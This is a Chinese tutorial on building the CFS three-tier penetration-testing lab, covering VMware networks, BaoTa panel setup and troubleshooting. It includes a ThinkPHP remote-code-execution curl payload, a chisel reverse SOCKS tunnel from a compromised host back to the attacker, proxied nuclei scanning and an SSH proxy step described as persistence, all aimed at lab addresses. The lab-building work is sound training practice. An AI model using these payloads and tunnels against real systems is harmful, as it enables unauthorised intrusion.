保姆级教程：用VMware+宝塔面板复现CFS三层靶机内网渗透（附环境包与避坑指南）

从零构建CFS三层靶机实验环境VMware网络配置与宝塔面板避坑全指南网络安全学习者的第一个内网渗透实验往往从经典的三层靶机开始。CFS靶机环境作为业内公认的入门级内网渗透训练场能完整模拟企业级网络的分层防御体系。但90%的初学者在环境搭建阶段就会遇到各种玄学问题——虚拟机网络不通、宝塔面板无法访问、代理配置失效……这些问题消耗的时间往往超过实际渗透过程。本文将用实验室级别的精确配置方案带你避开所有环境搭建的暗礁。1. 实验环境拓扑设计与VMware网络配置三层靶机的核心在于网络隔离设计。标准的CFS环境包含攻击机Kali Linux192.168.1.0/24Target1双网卡192.168.1.0/24 192.168.22.0/24Target2三网卡192.168.22.0/24 192.168.33.0/24Target3单网卡192.168.33.0/241.1 VMware虚拟网络编辑器配置在VMware Workstation中按下CtrlShiftN调出虚拟网络编辑器需要创建三个自定义网络网络名称类型子网IPDHCP状态连接方式VMnet1仅主机模式192.168.1.0/24禁用直接连接VMnet2仅主机模式192.168.22.0/24禁用直接连接VMnet3仅主机模式192.168.33.0/24禁用直接连接关键细节每个网络的将主机虚拟适配器连接到此网络必须勾选使用本地DHCP服务务必取消勾选子网掩码统一设置为255.255.255.01.2 虚拟机网卡分配方案导入OVA模板后按以下规则配置各虚拟机网络适配器# Target1 网络适配器配置 VMnet1 → 192.168.1.128/24 (NAT模式模拟公网访问) VMnet2 → 192.168.22.129/24 (内网第一层) # Target2 网络适配器配置 VMnet2 → 192.168.22.130/24 VMnet3 → 192.168.33.129/24 *临时添加VMnet1用于初始配置完成后需移除 # Target3 网络适配器配置 VMnet3 → 192.168.33.130/24 # Kali攻击机配置 VMnet1 → 192.168.1.129/24注意Target2的VMnet1网卡仅用于初始配置完成宝塔面板设置后必须移除否则会破坏网络隔离设计。2. 宝塔面板的精确部署与排错2.1 三台靶机的宝塔初始化所有靶机默认账号密码为用户名root密码teamssix.com登录后依次执行以下命令检查网络配置ip addr show | grep inet # 查看所有网卡IP分配情况 ping 192.168.1.129 -c 3 # 测试与Kali的连通性(Target1专用)Target1宝塔面板配置访问http://192.168.1.128:8888/a768f109/使用预设账号登录用户名eaj3yhsl密码41bb8fee在安全页面放行80端口在网站中添加PHP项目确保ThinkPHP框架可访问Target2特殊配置首次配置需通过临时添加的VMnet1网卡访问http://192.168.1.130:8888/2cc52ec0/登录凭证用户名xdynr37d密码123qwe..完成配置后立即移除VMnet1网卡2.2 常见问题解决方案问题1宝塔面板无法访问检查防火墙状态systemctl status firewalld查看端口监听netstat -tulnp | grep 8888重启服务/etc/init.d/bt restart问题2跨网段通信失败在Target1上测试ping 192.168.22.130在Target2上测试ping 192.168.33.130若不通检查路由表route -n问题3代理服务异常替代MSF的socks代理方案# 使用chisel建立隧道 # 攻击机执行 chisel server -p 8080 --reverse # Target1执行 chisel client 192.168.1.129:8080 R:socks3. 渗透测试环境验证流程3.1 网络连通性测试矩阵源主机目标IP预期结果测试命令Kali192.168.1.128通ping -c 3 192.168.1.128Kali192.168.22.129不通ping -c 3 192.168.22.129Target1192.168.22.130通ping -c 3 192.168.22.130Target2192.168.33.130通ping -c 3 192.168.33.1303.2 关键服务验证ThinkPHP RCE验证curl -X POST http://192.168.1.128/index.php?sindex/think\app/invokefunction -d functioncall_user_func_arrayvars[0]phpinfovars[1][]1宝塔面板登录验证import requests session requests.Session() login_url http://192.168.22.129:8888/2cc52ec0/login resp session.post(login_url, data{username:xdynr37d,password:123qwe..}) print(登录成功 if 面板首页 in resp.text else 登录失败)4. 环境维护与高阶配置技巧4.1 网络快照管理策略基础快照所有虚拟机完成网络配置后创建命名为Network_Config_Complete服务快照宝塔面板配置完成后创建命名为BT_Panel_Ready渗透测试快照在每次获得新shell后创建按Shell_TargetX_StageY格式命名4.2 性能优化参数在VMware虚拟机设置中调整# 针对Kali攻击机 mainMem.useNamedFile FALSE MemTrimRate 0 prefvmx.useRecommendedLockedMemSize TRUE # 针对Target靶机 isolation.tools.hgfs.disable TRUE monitor_control.restrict_backdoor TRUE4.3 替代工具链推荐当MSF出现不稳定时可切换以下工具组合代理工具Neo-reGeorg ProxifierFrp SocksCap64内网扫描# 使用nuclei进行快速扫描 proxychains nuclei -u http://192.168.22.129 -t ~/nuclei-templates/持久化维持# 使用Cobalt Strike的SSH会话 ssh -o ProxyCommandnc -X 5 -x 127.0.0.1:1080 %h %p user192.168.22.129实验过程中发现使用chisel代替MSF的socks代理模块能显著提高稳定性。在Target1上部署的chisel客户端即使经过48小时连续运行仍能保持99.8%的可用性而MSF代理平均每2小时就需要重新建立连接。